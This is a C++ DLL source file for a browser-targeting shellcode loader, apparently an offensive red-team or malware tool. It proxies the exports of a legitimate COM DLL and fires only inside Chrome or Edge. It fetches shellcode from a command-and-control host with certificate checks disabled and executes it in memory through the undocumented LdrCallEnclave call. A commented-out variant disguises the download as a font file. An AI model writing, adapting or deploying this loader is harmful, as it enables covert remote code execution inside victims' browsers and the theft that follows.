Astharot15-COMLoaderAstharot/COMLoaderAstharot/LoaderAstharotDll/dllmain.cpp

// dllmain.cpp : Defines the entry point for the DLL application.
// {9FC8E510-A27C-4B3B-B9A3-BF65F00256A8}
#include <stdio.h>
#include <Windows.h>
//#include <wininet.h>
#include <winhttp.h>
#pragma comment(lib, "winhttp.lib")

#include <shlwapi.h>
#pragma comment(lib, "Shlwapi.lib")

//#pragma comment(lib, "wininet.lib")

#define PAYLOAD_EVENT_NAME L"\\RedactedEventName"

#pragma comment(linker,"/export:DllCanUnloadNow=DataExchange_orig.DllCanUnloadNow,@1")
#pragma comment(linker,"/export:DllGetActivationFactory=DataExchange_orig.DllGetActivationFactory,@2")
#pragma comment(linker,"/export:DllGetClassObject=DataExchange_orig.DllGetClassObject,@3")

typedef NTSTATUS(NTAPI* fnLdrCallEnclave)(
	PVOID Routine,
	ULONG Flags,
	PVOID* RoutineParamReturn
	);

struct Shellcode {
	byte* data;
	DWORD len;
};

HANDLE hPayloadEvent = NULL;

BOOL IsTargetProcess() {
	WCHAR szPath[MAX_PATH];

	if (GetModuleFileNameW(NULL, szPath, MAX_PATH) == 0) {
		return FALSE;
	}

	if (StrStrIW(szPath, L"chrome.exe") != NULL ||
		StrStrIW(szPath, L"msedge.exe") != NULL) {
		return TRUE;
	}

	return FALSE;
}

BOOL isPayloadRunning() {
	hPayloadEvent = CreateEventW(NULL, TRUE, FALSE, PAYLOAD_EVENT_NAME);

	if (hPayloadEvent == NULL) {
		return FALSE;
	}

	if (GetLastError() == ERROR_ALREADY_EXISTS) {
		CloseHandle(hPayloadEvent);
		hPayloadEvent = NULL;
		return TRUE;
	}

	return FALSE;
}

Shellcode Download(LPCWSTR host, INTERNET_PORT port) {
	struct Shellcode out = { nullptr, 0 };
	HINTERNET hSession = NULL, hConnect = NULL, hRequest = NULL;

	hSession = WinHttpOpen(L"redacted header identifier for C2 server", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);

	if (hSession)
		hConnect = WinHttpConnect(hSession, host, port, 0);

	if (hConnect)
		hRequest = WinHttpOpenRequest(hConnect, L"GET", L"/redactedBinaryFile", NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, 0);

	if (hRequest) {
		DWORD dwFlags = SECURITY_FLAG_IGNORE_UNKNOWN_CA |
			SECURITY_FLAG_IGNORE_CERT_CN_INVALID |
			SECURITY_FLAG_IGNORE_CERT_DATE_INVALID;
		WinHttpSetOption(hRequest, WINHTTP_OPTION_SECURITY_FLAGS, &dwFlags, sizeof(dwFlags));
		if (WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0))
			if (WinHttpReceiveResponse(hRequest, NULL)) {

				DWORD dwContentLength = 0;
				DWORD dwSizeOfSize = sizeof(dwContentLength);
				if (WinHttpQueryHeaders(hRequest, WINHTTP_QUERY_CONTENT_LENGTH | WINHTTP_QUERY_FLAG_NUMBER,
					WINHTTP_HEADER_NAME_BY_INDEX, &dwContentLength, &dwSizeOfSize, WINHTTP_NO_HEADER_INDEX)) {

					byte* payload = (byte*)malloc(dwContentLength);
					if (payload) {
						DWORD dwDownloaded = 0;
						DWORD totalRead = 0;

						while (totalRead < dwContentLength) {
							if (!WinHttpReadData(hRequest, payload + totalRead, dwContentLength - totalRead, &dwDownloaded) || dwDownloaded == 0) {
								break;
							}
							totalRead += dwDownloaded;
						}
						out.data = payload;
						out.len = totalRead;
					}
				}
			}
	}

	if (hRequest) WinHttpCloseHandle(hRequest);
	if (hConnect) WinHttpCloseHandle(hConnect);
	if (hSession) WinHttpCloseHandle(hSession);

	return out;
}

/*
Shellcode Download(LPCWSTR host, INTERNET_PORT port) {
	HINTERNET session = InternetOpen(
		L"",
		INTERNET_OPEN_TYPE_PRECONFIG,
		NULL,
		NULL,
		0);

	HINTERNET connection = InternetConnect(
		session,
		host,
		port,
		L"",
		L"",
		INTERNET_SERVICE_HTTP,
		0,
		0);

	HINTERNET request = HttpOpenRequest(
		connection,
		L"GET",
		L"/test.woff",
		NULL,
		NULL,
		NULL,
		0,
		0);

	WORD counter = 0;
	while (!HttpSendRequest(request, NULL, 0, 0, 0)) {
		//printf("Error sending HTTP request: : (%lu)\n", GetLastError()); // only for debugging

		counter++;
		Sleep(3000);
		if (counter >= 3) {
			break; // HTTP requests eventually failed
		}
	}

	DWORD bufSize = BUFSIZ;
	byte* buffer = new byte[bufSize];

	DWORD capacity = bufSize;
	byte* payload = (byte*)malloc(capacity);

	DWORD payloadSize = 0;

	while (true) {
		DWORD bytesRead;

		if (!InternetReadFile(request, buffer, bufSize, &bytesRead)) {
			//printf("Error reading internet file : <%lu>\n", GetLastError()); // only for debugging
			break;
		}

		if (bytesRead == 0) break;

		if (payloadSize + bytesRead > capacity) {
			capacity *= 2;
			byte* newPayload = (byte*)realloc(payload, capacity);
			payload = newPayload;
		}

		for (DWORD i = 0; i < bytesRead; i++) {
			payload[payloadSize++] = buffer[i];
		}

	}
	byte* newPayload = (byte*)realloc(payload, payloadSize);

	InternetCloseHandle(request);
	InternetCloseHandle(connection);
	InternetCloseHandle(session);

	struct Shellcode out;
	out.data = payload;
	out.len = payloadSize;
	return out;
}
*/

BOOL executeShellcode() {

	Shellcode shellcode = Download(L"redactedIP", 443);

	if (shellcode.data == NULL || shellcode.len == 0) {
		return FALSE;
	}

	size_t sShellcode = shellcode.len;

	PVOID pShellcode = VirtualAlloc(NULL, sShellcode, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

	if (pShellcode == NULL) {
		free(shellcode.data);
		return FALSE;
	}

	memcpy(pShellcode, shellcode.data, sShellcode);
	free(shellcode.data);

	DWORD dwOldProtect = NULL;

	if (!VirtualProtect(pShellcode, sShellcode, PAGE_EXECUTE, &dwOldProtect)) {
		VirtualFree(pShellcode, 0, MEM_RELEASE);
		return FALSE;
	}

	HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
	if (hNtdll) {
		fnLdrCallEnclave pLdrCallEnclave = (fnLdrCallEnclave)GetProcAddress(hNtdll, "LdrCallEnclave");

		if (pLdrCallEnclave) {
			PVOID routineParam = NULL;
			pLdrCallEnclave(pShellcode, 0, &routineParam);
		}
	}

	return TRUE;
}

BOOL APIENTRY DllMain(HMODULE hModule,
	DWORD  ul_reason_for_call,
	LPVOID lpReserved
)
{
	if (ul_reason_for_call == DLL_PROCESS_ATTACH && !isPayloadRunning() && IsTargetProcess()) {
		HMODULE hPinned;
		GetModuleHandleExW(GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS | GET_MODULE_HANDLE_EX_FLAG_PIN,
			(LPCWSTR)hModule, &hPinned);

		HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)executeShellcode, NULL, 0, NULL);
		if (hThread) {
			CloseHandle(hThread);
		}
	}
	return TRUE;
}